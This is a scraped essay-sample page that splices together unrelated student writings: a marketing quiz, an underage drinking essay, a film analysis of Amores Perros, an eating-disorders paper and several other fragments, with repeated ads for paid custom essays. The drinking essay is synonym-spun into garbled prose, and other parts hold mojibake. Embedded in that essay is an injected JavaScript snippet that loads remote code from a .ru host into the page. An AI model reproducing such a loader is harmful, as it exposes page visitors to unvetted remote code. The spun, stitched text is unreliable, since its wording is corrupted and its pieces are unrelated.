Marketing Quiz Essay Example

Marketing Quiz Essay University of the Southern Caribbean School of Business Principles of Marketing Take Home Assignment on Chapter 13-16 Name: __________________________________ ID_______________________ DATE__________ We will write a custom essay sample on Marketing Quiz specifically for you for only $16.38 $13.9/page Order now We will write a custom essay sample on Marketing Quiz specifically for you FOR ONLY $16.38 $13.9/page Hire Writer We will write a custom essay sample on Marketing Quiz specifically for you FOR ONLY $16.38 $13.9/page Hire Writer Refer to the scenario below to answer the following questions. Section  1. In the 1970s, Shipshewana was only a small town with a hardware store, a grain mill, a shoe store, a small restaurant, and a grocery store. Over the next two decades, the small town transformed into an international tourist attraction, attracting thousands of tourists who are intrigued with the lifestyle of Shipshewanas largest population the Amish. Ben and Mary Miller, having grown up within the Amish faith, decided to capitalize on their towns popularity and their woodworking skills. Their shop, Indiana Wood, began with a small display of handmade hickory rocking chairs, Ben Millers specialty. But within a few months, the display at Indiana Wood included picnic tables, flower boxes, and small handmade novelty items. No other shop offers the same. Mary Miller decorated the shops display room with authentic Amish decor and eventually hired three Amish friends to sew and embroider napkins and other textiles per customer request. In addition, two women from the Amish community sought permission from the Millers to display home-baked pastries and jellies on Tuesdays and Wednesdays, the towns busiest tourist days, when Shipshewana attracts swarms of visitors to its flea market on the south edge of town. Shipshewana is full of specialty shops, Mary Miller stated. People dont come here to buy things made in China or Taiwan. They want real, Amish-made goods. 1. Indiana Wood is best classified as a(n) ________ retailer. A) full-service B) self-service C) limited-service D) discount E) off-price 2. Which of the following is most critical to Indiana Woods success? A) place B) price C) differentiation D) store atmosphere E) services mix 3. The Amish decor and shop workers give customers an authentic impression of the pride and skill built into the shops products. These aspects also contribute to the stores ________. A) product assortment B) services mix C) atmosphere D) segmentations E) targeting 4. Which of the following would be the most logical way for Indiana Wood to expand? A) establishing an online presence B) pursuing retail convergence C) implementing RFID inventory tracking D) establishing a community-gathering environment in the store E) joining a producers cooperative Refer to the scenario below to answer the following questions. John Mayes opened Sparkle Janitorial in 1999. John began by acquiring two contracts for office cleaning services from two local manufacturing facilities. For two years, John and his wife, Barb, performed the cleaning services alone. After acquiring three additional cleaning contracts in 2001, John hired two employees. Up to that point, we had room to grow but we really had no advertising plan, John stated. We were relying mostly on word-of-mouth. By 2003, Barb hired another two full-time employees to begin Sparkles new endeavor: carpet cleaning in homes and offices. Competition was getting tough for both of our services at that point, Barb added. We ran a local radio spot three times each week. Then we had an advertiser print coupons on placemats. That gave us a little more exposure. John and Barb Mayes admit that they never realized the value of a sound promotional plan before now. We wish we would have put together so mething catchy with a jingle way before now, they said. 5. Which of the following would be the LEAST effective way for John and Barb to reach new potential customers? A) word-of-mouth influence B) buzz marketing C) public relations D) network television advertising E) direct marketing 6. In a recent radio spot, John and Barb gave a quick explanation of Sparkles cleaning process and a description of the value consumers receive for their money. This is an example of a(n) ________. A) emotional appeal B) standard appeal C) rational appeal D) moral appeal E) social appeal Most of the clientele at Second Avenue have learned about the store through word-of-mouth communication. This small retailer of quality second-hand childrens clothing thrives on the sale of a vast inventory of childrens clothing placed there on consignment. Because small children grow so quickly, Second Avenues owner commented, they often outgrow many of their clothes before theyve hardly been worn! Second Avenue provides a way for people to sell their childrens clothing, earn a few dollars, and buy the next larger size. Were extremely picky about the condition of the clothing we stock, the owner stated, but we sell most items at a 60 percent discount. 7. Which of the following media options would MOST benefit Second Avenues promotional efforts given the stores limited budget? A) periodic advertising in a local newspaper B) daily advertisements on a local radio station C) weekly commercials during the local evening news D) a billboard placed on the interstate E) a link on the citys Chamber of Commerce Web site 8. Second Avenue wants to create a postcard to be sent to local families with young children. The postcard will include information about the stores typical inventory, store hours, and directions. Which of the following format elements can make the biggest difference in the success or failure of the direct mailing? A) copy B) headline C) illustration D) font E) color 9. The owner of Second Avenue wants to establish a community clothing drive to collect clothes for a local childrens shelter. The owner will set up collection barrels outside Second Avenue. Which of the following public relations tools is the owner using? A) press relations B) product publicity C) lobbying D) development E) public affairs 10. At Finleys Fine Goods, members of the sales force and marketing epartment tend to have disagreements when things go wrong with a customer. The marketers blame the salespeople for poorly executing their strategies, while the salespeople blame the marketers for being out of touch with the customer. Which of the following steps should upper-level management at Finleys Fine Goods take to help bring the sales and marketing functions closer together? A) establish a customer sales force structure B) establish a complex sales force structure C) appoint a new sales force manager D) adopt a sales force automation system E) appoint a chief revenue officer 11. Ultra-Tech, Inc. as decided to switch to a customer sales force structure. Which of the following advantages is the company now LEAST likely to enjoy? A) The company can become more customer-focused. B) The company can better serve different industries. C) The company can build closer relationships with important customers. D) The company can better serve current customers and find new customers. E) The company can expect salespeople to develop in-depth knowledge of numerous and complex product lines. 12. Johnson Business Solutions, Inc. , maintains one sales force for its copy machines and a separate sales force for its computer systems. Johnson Business Solutions utilizes a ________ structure. A) product sales force B) customer sales force C) territorial sales force D) a combination of B and C E) complex sales force 13. Morrill Motors splits the United States into 10 sales regions. Within each of those regions, the company maintains two sales teams? one for existing customers and one for prospects. What type of sales force structure does Morrill Motors use? A) territorial B) product C) customer D) complex E) workload 14. An IBM sales representative is giving a product demonstration to a Best Buy representative. Assisting with the demonstration are an engineer, a financial analyst, and an information systems specialist. If IBM wins the Best Buy account, then all four IBM representatives will service the Best Buy account. This is an example of ________. A) team selling B) territorial selling C) inside selling D) prospecting E) sales promoting 15. Sales have been slow recently at B B Materials, so management has organized a training program to improve the performance of its sales force. Which of the following would most likely lead to improved sales for B B Materials? A) tests to measure the analytic and organizational skills of the sales force B) information about the marketing strategies used by competitors C) tests to identify the personality traits of sales force members D) a time-and-duty analysis for each salesperson E) instructions on completing expense reports 16. The CEO of Comfy Carpet, Rick Hadley, was skeptical about Web-based training until his sales manager explained that online training is ________. A) time consuming and difficult to use B) used by all small companies C) dynamic and interactive D) cost competitive and efficient E) useful to customers 17. At Deck Decor, a manufacturer of outdoor furniture and accessories, the marketing and sales force objectives are to grow relationships with existing customers and to acquire new business. Which of the following compensation plans should management establish to encourage the sales force to pursue both of these objectives? A) straight salary B) straight commission C) salary plus bonus for new accounts D) commission plus bonus for new accounts E) salary plus commission plus bonus for new accounts 18. Mary Conti is sales manager for National Computer Training. She wants to evaluate the performance of her sales force that is responsible for the New England territory. Mary will most likely review all of the following in her evaluation EXCEPT ________. A) call plans B) sales reports C) call reports D) expense reports E) territorial sales and profit reports 19. The sales force of Conway Pools has qualified a number of leads. Which of the following will most likely occur next? A) The outside sales force will call on all prospects. B) The outside sales force will close the deal with one of the prospects. C) The outside sales force will learn as much as possible about the prospects. D) The inside sales force will attend meetings with qualified prospects. E) The inside sales force will put together a presentation for the prospects. Section 2 1. The wheel-of-retailing concept deals mainly with wholesalers rolling out reduced service levels. 2. The life cycle of new retail forms is getting longer. 3. Unlike mass marketers, niche marketers expect to see continued growth in their online sales. 4. Retail convergence means greater competition for retailers and greater difficulty in differentiating offerings. 5. The number of retailers creating communities for their customers is declining. 6. Like retailers, a wholesaler must decide on segmentation and targeting, differentiation and positioning, and the marketing mix. 7. In an automated warehouse, orders are fed directly from the retailers information system to the wholesalers, and the items are picked up by mechanical devices and taken to a shipping platform 8. The distinction between large retailers and large wholesalers is becoming blurred. 9. Mass marketers can expect consumers to distinguish between commercial message sources to maintain a clear image of a company and its brands. 10. The integrated marketing concept ties together all of the companys messages and images. 11. Integrated marketing communications allows brand messages to be developed by different departments within an organization. 12. A marketing communications director has overall responsibility for the companys communications efforts. 13. The communications process should start with mass media advertising to reach many consumers. 14. The four major communication functions are encoding, decoding, response, and noise. 15. Encoding is the process by which the receiver assigns meaning to symbols. 16. Decoding is the process of putting thought into symbolic form. 17. Awareness, knowledge, and preparation are buyer-readiness stages. 18. Teaser advertising is most closely associated with the buyer-readiness stage of liking a product. 19. There are three types of appeal from which marketers may choose as they design their message content. These types are rational, emotional, and moral appeals. 20. The Stop. Think. Tylenol. ad is an example of a moral appeal. 21. Although television advertising is expensive for corporations, the cost per exposure is relatively low. 22. Direct mail is one of the least expensive media on a per exposure basis. 23. The communication effects of advertisements and ad campaigns are more difficult to measure than the sales and profit effects. 24. In small and large companies, advertising is typically handled by an individual or team in the sales department. 25. Todays advertising agencies are staffed with specialists who can often perform advertising tasks better than a producer or retailers own employees can. 26. Recently, the increased use of online social networks and video sharing has reduced the need for advertising standardization for global brands. 27. Since China has lifted many of its international trade restrictions, corporations such as McDonalds and Coca- Cola now have only limited censorship rules governing their TV and radio advertising. 28. In an attempt to change the perception that milk was unhealthy, the National Fluid Milk Processors Education Program established an advertising campaign featuring celebrities with milk mustaches and the tag line Got Milk? 29. A company typically spends comparable budgets on public relations and advertising. 30. A companys Web site can be an important public relations vehicle. 31. What types of products may be sold through category killers? 32. What types of products do specialty stores carry? Give an example of a specialty store. 34. Describe the differences between chain stores and franchises. 35. Describe public relations and three of its main functions. 36. Identify four of the major media types and identify some of the strengths and weaknesses of each type. 37. Why do many companies invest in ongoing training for their salespeople? 38. Compare the four types of compensation plans available to salespeople. 39. Name and define the four major communication functions. 40. Explain how advertising may change as a product moves from the introductory stage to the growth stage of the product life cycle.

Underage Drinking Essay Research Paper Underage DrinkingMany free essay sample

Underage Drinking Essay, Research Paper Underage Drinking Many teens face grownup jobs at a really immature age. Underage imbibing viewed in the eyes of parents and jurisprudence enforcement bureaus is a major job among adolescent. In today society, childs are being pressured into making things at a really immature stripling age. Problem many parents are confronting in their ain life are besides presenting as jobs on their childs. The reply teens today must do is no longer merely what shoes to have on or what matches what, but the must decided on drugs. Amongst those is alcohol, which is a pick most teens make even before they are teens. I have really talked to some people that were imbibing at the age of 11 and 12. Everybody I have met has at one clip rummy intoxicant before graduation. Police officers sit twenty-four hours and dark coming up with ways to snuff out this job, but no affair how much attempt they put Forth it will and has continued. We will write a custom essay sample on Underage Drinking Essay Research Paper Underage DrinkingMany or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page People all have different positions on the solution to this job, but before we get to their ideas and mine, I would wish to inquire you a inquiry. Would you as a parent or individual instead have childs imbibing at a house with chaperons where they will be remaining all dark or drive place rummy because you do non O.K. of it, and implement a curfew? / gt ; As a teenage I feel I know the most on the topic, but as I have found out my parents had to do the same determination during their life, even every bit hard as it is to believe they did. Solutions are like alibis they come in 100s. Peoples today blame everything on something else. Well I hate to be the one to indicate out the obvious, but parents are the biggest influence on a kid # 8217 ; s life. If you as a parent sit down and speak rationally to a child, he will listen. My solution is simple extinguish the imbibing age all together. I feel it is the parent # 8217 ; s duty to educate their childs on drugs like intoxicant, non the authoritiess. I have a friend who was a foreign exchage pupil from Switzerland, where there is no imbibing age, she looked at imbibing as a normal thing, but she besides said they don # 8217 ; Ts have this job over at that place as childs know they can ever acquire it the Don # 8217 ; t imbibe as frequently. I found that a small spot interesting, but I besides see the point. Out of all the childs I know that drink they do it for the merriment of it, the bang of making something illegal, and they do in surplus because they can merely im bibe one or two darks a hebdomad. On the other side all of the childs I know whose parents allowed them to imbibe at place found imbibing in extra stupid and deadening. This proved her point even further. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Analytical Essay Sample on Time in the Film How to Manipulate the Audience

Analytical Essay Sample on Time in the Film How to Manipulate the Audience I love to watch movies because I love to be entertained. Movies provide an escape from reality by entering into another world. A world comprised of characters, some you like and some you do not, and a story, which if effective will grip you and take you in. Sometimes so much to the extent, the world around you disappears and you become mesmerized and captivated by the images and the scenes that unfold on the screen. Film is an art form, a representation or even a manipulation of reality. I selected Amores Perros for the purposes of this essay. I popped the cassette into the VCR without looking at the actual playing time of the movie. I wanted to see how the film makers used their ability to manipulate time to affect me and my experience. Following the guidelines, I will start by producing a quick summary of the film. The film revolves around three different stories all intertwined through one devastating automobile accident experienced from three alternate perspectives and times throughout the film. The film is a patchwork narrative meaning, â€Å"there is no central plot and no single-line character. Instead, one story begets another and the primary conceit is part-for-whole (synecdoche).† The film opens up with a chase scene leading into the accident involving the main character of the first section of the movie, Octavio. Octavio lives in a poor household with his brother and his wife, Suzanna, their baby, and their mother. Octavio’s struggle begins when he falls in love with Suzanna. He finds a means of making money through subjecting his dog into fighting and seeks to earn enough to take his husband’s wife and the baby away with him. After Suzanna abandons Octavio with his brother and the mon ey, the dog fighting ends up in a messy disaster corrupted with foul play. Octavio finds himself in a violent car chase involving thugs of the dog fighting world. This leads up to the crash. The second section of the film involves a man named Daniel who leaves his family to pursue a life with his mistress, Valeria, a supermodel. He purchases an apartment for them to live together but their lives are quickly thrown in disarray when the model is hit by a speeding car racing through a red light, Octavio’s. Valeria is left in a wheelchair with her leg highly disfigured. Turmoil begins in their relationship when her dog disappears through the floorboards, and frustration of not being able to walk nor rely on her beauty kicks in. After a medical oversight the model’s leg is amputated and Daniel begins to wonder how his life unfolded in such disillusion. This leads us into the third part of the movie involving an ex-con man, El Chivo, in search of the strength to talk to his daughter whom he abandoned when she was two. El Chivo lives in a shanty home with several dogs as his family. Desperately seeking money, El Chivo acts as a hired hit-man. About to kill, he observes the brutal car crash between Octavio and Valeria. Racing to the scene he finds Octavio’s dog and rescues and nurtures it back to health. He leaves do go commit a murder only to return home to find Octavio’s dog covered in blood after mauling and killing every one of El Chivo’s dogs. This sparks some changes in El Chivo’s life, including a call to his daughter. As the three stories unfold they overlap and intertwine on many occasions within the film. Attached to the essay, is a graph of the dramatic structure of the film. It is separated into three divisions based on the three alternate story lines. Each line marked with the letter C represents the car crash on the three different occasions during the film. The movie as well as each story begins by witnessing the accident from a different perspective thus correlating with high viewer interest. The stories through sequences which flash back in time and disregarding a linear time structure capture events which raise the intensity of the film over elapsed time, until once again the crash is experienced. The lines marked S are the story’s time line of major events which build up intensity until the climactic crash scene. However the storylines are interrupted with quick scenes from the other storylines not to build intensity but to familiarize the audience with the characters whom are going to appear. Often a black screen appears for this transition to occur. In doing this the linear timeline is compromised completely, however the elapsed time continues while the viewer’s interest increases, pauses as the movie takes on a new story and then increases again while the movie returns to the rising excitement of the story being focused on. In the third and final story the movie comes to a closure just as each of the first two stories had previously done. However the sequences of the alternate storylines are higher in viewer interest than the alternate sequences in the main storylines for the first part of the film, because as time has progressed all three story are concluding. As I mentioned earlier, because our focus is on time in the cinema, I decided to put on Amores Perros without looking at the playing time. While I was watching the movie from an objective standpoint I noticed that I had no idea what time it was or how long the movie was going on. The physical projection time of the movie was 153 minutes, but the psychological time for the characters and me as the viewer far exceeded that. As for the psychological time of the characters, it was hard to construct the dramatic timeline in which the story unfolds in. Throughout the story each character goes through life altering events in a short span of time which affects their psychological time. The struggles the characters go through as for anyone who would go through such events, destroy their concepts of time as their worlds crumble and their lives take on new ordeals. Their patterns of daily life disintegrate and these new challenges consume the lives of these characters. As everything is thrown i nto disarray their past become faint memories of a different life. For these characters the grind of their present everyday environments is all that matters. As a viewer the experience of time is much different than that of the characters. The extent to which the life changing events have on the characters, draws out the psychological experience for the viewer miraculously. For the viewer, everything that takes place is so significant that the time seems to span far longer than the actual duration in which the film is running. Adding to this effect is the formula of the â€Å"forking paths† and the multiple storylines. The viewer is forced to go back in time after the completion of one character’s story to play out the events from an alternate character in the time that has already passed in the film. This technique, manipulates the viewer to disregard real time and consume themselves with the events on the screen. As each storyline intersects with one another the time seems to be moving in endless cycles. Two principle methods of temporal manipulation employed in the film are condensed and suspended time. The most common formula for films is the simple story formula, which involves a hero and his or her plight through an array of obstacles. â€Å"This formula may sound basic, but huge numbers of excellent movies have used it.† It also explains why condensed time was essential in the creation of this movie. By no means has Alexandro Gonzalez Inarritu directed a simple film formula. However in each separate story he focuses on individuals who experience an array of life changing events and pass through many obstacles along the way. Each of these stories exists on their own but are connected through one fated car accident, allowing the director to fit three stories into one film. In doing this, he must also ensure that the audience will have an emotional connection to each of the main characters in the film. In addition for the film to be successful each story must be able to exis t as its own entity. To do so, he has condensed time between scenes filled with constant energy and constant infliction on the characters. He does this using several techniques. The most simplistic method used by the director to condense time is, cutting out sequences that must exist for the scene to unfold. An example can be seen at the beginning of the chase scene where Octavio is running from the thugs. It shows the altercation which leads up to the chase, with Octavio getting a head start on his pursuers by foot as he approaches his car. The next shot then jumps into the car as the chase has begun. The action as well as the time that passes in between has been condensed. Another technique the director uses to condense time is the three alternate storylines. Although the movie is separated into three distinct parts and stories, the characters are intertwined throughout the whole film. By showing snippets of the characters throughout the entire film, he allows for condensed time b y reverting back to intense scenes in the main story, while time has progressed in between. He does this exceptionally as the film is riddled with excitement throughout each of the three stories. As a divergent film, Amores Perros uses â€Å"more than one story line and/or sets of characters that may intersect.† With the multi-layered film the director is able to create suspended time. While the other story lines are previewed, the main storyline jumps through scenes or time is suspended by viewing from where it was left off. Inarritu uses different techniques to alter the linear progression of time within this movie. Time is suspended while the different characters exist and live through the same time sequence. As the characters do not interact with one another the same time sequence is shown on several different occasions for the viewer. Time progresses for the audience yet the director manipulates the time on the screen by jumping backwards and forwards on a linear time se quences through the different characters and the events that surround them. On numerous occasions time in the film is suspended while this is occurring. In this film I think it is clearly evident that the soundtrack affects the temporal manipulation of the audience, as well as externalizing the characters’ feelings. Looking into two distinct scenes in the film, the love making scene, and the car chase provide succinct evidence of this. During the scene where Octavio is making love to Suzanna the music is soft and passionate. For the viewer the music aids the perception of time to slow it down. The music differentiates the pace and tempo of this scene from the rest of the film. The love making is drawn out and seems to lapse for longer than many of the other scenes. This correlates with both Octavio’s and Suzanna’s emotional experience during the scene. The car chase is accompanied by intense and fast music, working similar to the love scene only on the opposite end of the spectrum. Where this scene is meant to be intense and exciting the music gets harder and more exhilarating and the experience for the viewer ch anges. The music builds up as the scene and excitement build up as Ocativo’s life dangles in the mix. The scene elicits the response of being much faster than the love scene as the ordeal seems much quicker than that of the love scene. The film provides insight to the nature of time with its multiple strand formula. The three different storylines provide the viewer with the insight of the enormity of time itself. The experience allows the viewer to see the impact of time on an array of characters and events and the after effects which follow. It is through the progression of time that both chaos and order take form. This is exemplified as the characters have no prior contact with one and other before the fated car accident and no further contact following. It is through coincidental timing that the lives of all the characters are greatly affected. The impact of the nature of time is exhibited through each separate storyline.

Body Fat and Eating Disorders Paper Essays

Body Fat and Eating Disorders Paper Essays Body Fat and Eating Disorders Paper Essay Body Fat and Eating Disorders Paper Essay Body composition is the amount of tissue, fat and water that makes up your body weight, having excess body fat is becoming more of an issue and more common and it comes with health risks. Carrying excess body fat can lead to obesity which is being 30 pounds or more over weight. Some health risks that are associated with carrying excess body fat or being obese is: ? Heart disease ? Stroke ? High blood pressure ? High Cholesterol ? Type 2 diabetes ? Certain forms of cancer ? Excess Fatigue ? Increased risk of cardiac problems ? Hardening of the arteries ? GI disorders ? Decreased reaction time Reduced balance and coordination ? Increased susceptibility to infections ? Decreased circulation ? Delayed wound healing There are a few known factors that influence the obesity epidemic and they are: ? A high-fat, high-sugar diet ? Lack of exercise ? Overeating ? Excess alcohol intake There are several health problems that are associated with anorexia nervosa, here are a few examples: ? Irregular heartbeat and cardiac arrest ? Kidney and liver damage ? Loss of muscle mass ? Destruction of teeth ? Weakened immune system ? Icy hands and feet ? Excess hair on face, arms and body. Dry blotchy skin that has an unhealthy gray or yellow ? Fainting spells or seizures ? Low blood sugar Bulimia nervosa comes with its share of health problems also, to start with an electrolyte imbalance can cause the heart muscle to weaken and interfere with brain, nerve and kidney function. The heart could even stop beating, along with kidneys failing that could lead to having to be on dialysis or needing a transplant. When causing yourself to vomit the stomach acids can cause ulcers in the esophagus/tissues in the mouth and it can erode the enamel on your teeth. Binge eating is when a person over eats an enormous quantity of food repeatedly. When a binge eater does not take part in compensatory behavior they are either overweight or obese and can suffer from numerous health issues because of their weight. From a physiological standpoint one way that eating disorders can lead to health problems is by making someone depressed or suicidal because of their weight gain because of their eating disorder. There could also be the opposite problem and that is weight loss and not getting enough nourishment. A few examples of these problems is: Feelings of sadness or unhappiness ? Irritability or anger ? Loss of appetite All of these problems are very serious and should not be ignored, if you have any of these problems you should go to the doctor for care. The BMI Debate: Is it an Accurate Measure of Health?. (n. d. ). Retrieved from dietsinreview. com/diet_column/09/the-bmi-debate-is-it-an-accurate-measure-of-health/ Why a healthy body composition is important?. (n. d. ). Retrieved from fitnesswave. com/portal/portal/getdunked/whweighting/whyahealthybody;jsessionid=2D5F411B4A0200C9CB36FD48B6838E5E. node1

How can companies use 'social networks' to maximise their competitive Dissertation

How can companies use 'social networks' to maximise their competitive advantage - Dissertation Example Business competitive leveraging is just within a finger tips. The advent of information technology and the thriving of cyberspace communities within social networks made it easy to exchange goods with customer around the world or within the domestic market. Corporations and companies are now accessible in this era where everyone lurked within the information superhighway. But while business analysts and organizations see these as infinite opportunities, there remain a necessity for all web-based organizations to develop its internal policy on Information Management System to ensure that while its undergoing business competitive leveraging, it’s still able to maintain and respect internal policies, rules, and secrecy of corporate information, such as, the fiduciary relation with clients or customers and those internal corporate trade policies (Khan & Blair, 2004, pp.1-241; Badaracco ,1991, pp. 6-10).  Some tips on how to preserve corporate integrity in this information and so cial network era are recommended by the researcher too. Table of Contents I. Introduction†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 4 a. Aims †¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 4 b. Methodology†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦ 4 II. ... 11 d. Social media: Bases for business decision-making†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦.†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦. 13 e. Conclusion and Recommendations†¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦Ã¢â‚¬ ¦...16 Introduction The use of social network for business leveraging is currently an essential value in business management. The advancement of information technology and development of software for web-based collaboration has turned data management as a strategic asset that is imperative as knowledge-economy becomes a trend of the decade’s economic paradigm. This paper aims to explore and discuss the significance of social network use for business leveraging. In delving into this topic, the researcher will answer the question how companies use social networks to maximize their competitive advantage? The researcher will use a qualitative method in exploring and explicating the topic. This method seeks to explore a phenom enon using flexible iterative style of generating responses to questions through semi structured in-depth interviews, focus group discussions and observation to describe and explain relationships and experiences of a group (Cassell & Symon, 1994, pp 10-25; Cassell & Symon, 2004, pp. 1-4; Creswell, 2003, pp. 4-6; Easterby-Smith, Thorpe, & Lowe, 2002, pp. 10; Fischer, 2007, Mayon-White, 2004, p. 28; Neuman, 2006, pp. 12-15; Polonsky & Waller, 2005, pp. 10). It’s an open ended research type and most of evidences are textual sourced from secondary and primary sources (Cassell & Symon, 1994, pp 10-25; Cassell & Symon, 2004, pp. 1-4; Creswell, 2003, pp. 4-6; Easterby-Smith, Thorpe, & Lowe, 2002, pp. 10; Fischer, 2007, Mayon-White, 2004, p. 28; Neuman, 2006, pp. 12-15; Polonsky & Waller, 2005, pp. 10). Ethical considerations in the conduct of this study are seriously noted in

Communication Factor in Employee Motivation Essay

Communication Factor in Employee Motivation - Essay Example This message is then sent through a channel. Once this message is received, the receiver translates the original message from the words and symbols into a concept or information that he or she can understand. Throughout the transmitting of the message, two processes are received by the receiver: content and context. Content is the actual words or symbols of the message which is known as language. This is the spoken and written words combined into phrases that make grammatical and semantic sense. We all use and interpret the meanings of words differently, so even simple messages can be misunderstood. And many words have different meanings to confuse the issue even more. Context is the way the message is delivered and is known as Paralanguage. It includes the tone of voice, the look in the sender's eye's, body language, hand gestures, and state of emotions (anger, fear, uncertainty, confidence, etc.) that can be detected. Although paralanguage or context often causes messages to be misunderstood as we believe what we see more than what we hear; they are powerful communicators that help us to understand each other. Indeed, we often trust the accuracy of nonverbal behaviors more than verbal behaviors. [4] A message is not communicated unless it is understood and decoded by the receiver. By the two-way communication or feedback the sender knows that it has been properly received. This feedback tells the sender that the receiver understood the message, its level of importance, and what must be done with it. Communication is an exchange, not just a give, as all parties must participate to complete the information exchange. [4] How Effective Leaders Communicate Communication is now understood as the exchange of information which is understood. Following this concept, communication is easy. However people don't seem to understand what and do effective leaders communicate to make them effective. Effective leaders stress the importance of 'active listening'. The key to effective leadership communication is to be able to draw good ideas out of others. To lead effectively, therefore, you need to be good at active listening. This means asking questions about what other people think and probing them on the pros and cons of their proposals. Asking people for their opinions is the best way of showing that you value them, another essential leadership trait, if you want to engage and retain key talent. [9] Another characteristic that effective leaders possess is the vision of the future that they provide to the members of the organization. Although creating an uplifting and inspiring vision is difficult enough, it is not where most would be leaders fail. They fail in communicating the vision in a way that continues to enlist the dedicated, emotional commitment of the people throughout the ranks. [10] To communicate this vision, communication whether it is a private direct communication or with a few is absolutely vital to ensure that the intended message is getting through. There is no other way for a leader to genuinely understand how the message is being received, including whether people actually do believe it. Employees respect this characteristic as the leader seems interested in the other person. [10] The one thing a leader can always have in common with another person is his or her best interest. A message should be communicated in such a

Analysis of John Adams Quincys Quote about a Leader Essay - 16

Analysis of John Adams Quincys Quote about a Leader - Essay Example In the contemporary work settings, what fails most of the businesses is not lack of finances or assets. It is the lack of an effective leader who can inspire the followers to visualize success and lead them through as they pursue the company’s goals and objectives. John Adams’ Quincy’s quote indicated above touches on the core of leadership; inspiration. As Adair (2009) puts it, to lead effectively is not just to be at the forefront. Good leadership is evaluated based on various parameters including the ability to inspire and bring out the best from the followers. Quincy says to become a leader one must be able to inspire other people to dream more; to imagine great things. A good leader stimulates their team to set goals and objectives that may sound ridiculous. The leader should instil confidence and a sense of belief amongst the followers. This makes the team develop the resilience that no matter what challenges they go through, they never lose focus and determination on their set goal. For example, in a situation where workers have virtually no substantial plans other than working for the company in the same capacity for years, a Human Resource Manager (leader) may inspire such staffs not only through the words they speak but also actions. In the end, the staff may feel rejuvenated after they are challenged to seek for more out of their lives (Northouse, 2010). Consequently, Quincy talks about learning as an art of demonstrating leadership. A learner is both a learner and a teacher. The behavioral theory of leadership maintains that leadership is as a result of behavior learning. The theory posits that good leaders can be trained and inspired by their mentors (Hoffmann, 2007). The behavioral theory bases its arguments on the ability of humans to learn through observation, hearing or even modelling. This means that leaders can be a source through which followers retrieve skills and knowledge of how to do or how not to do. An influential person with a strong ego is likely to influence learning and behavior change than others.

Wayne Williams (Atlanta Child Killer) Case Study

Wayne Williams (Atlanta Child Killer) - Case Study Example The deaths were as a result of asphyxiation and strangulation. On each of the recovered victim, there were varying types of microscopic evidence ranging from dog fur, carpet fibers, and blanket fibers. It was noted that once the facts about the killings were publicized by the press, the killings went on, but the victims started appearing nude or partially nude in the Chattahoochee River (Nickell, 2011). The change in the killer’s way of handling the victims was a clear indication that the killer was keen on the media’s reports regarding the killings and was determined to clear any signs of trace evidence (Mallard, 2009). In May of 1981, intelligence officials were in high hopes of getting the killer whereby they launched surveillance along the Chattahoochee River. As they were carrying out surveillance, intelligence officers heard a loud splash and then saw a station wagon in the area along the river. At the time of the splash, there was no immediate discovery of any body. However, the intelligence offers went on to question the 23-year-old male driver who admitted that he had dropped a bag of garbage into the water. On the second day after the questioning of the driver, the body of a young black male was discovered in the Chattahoochee River at a location downstream from where intelligence officers questioned the driver (Lester, 1995). Forensic examination of the identified body revealed that the body had unique man-made yellow and green carpet fibers. This crucial evidence was found on the victim’s hair, and it matched fiber evidence identified on other victims. This piece of evidence made intelligence officers conduct a search in Wayne Williams’ house, where yellow and green carpet material was identified across many areas of the house. Convinced by the discovery of fiber that matched that found on Wayne’s carpeting material, intelligence officers were in no doubts that the killer they had been

Managing Communication and Change Essay Example | Topics and Well Written Essays - 500 words

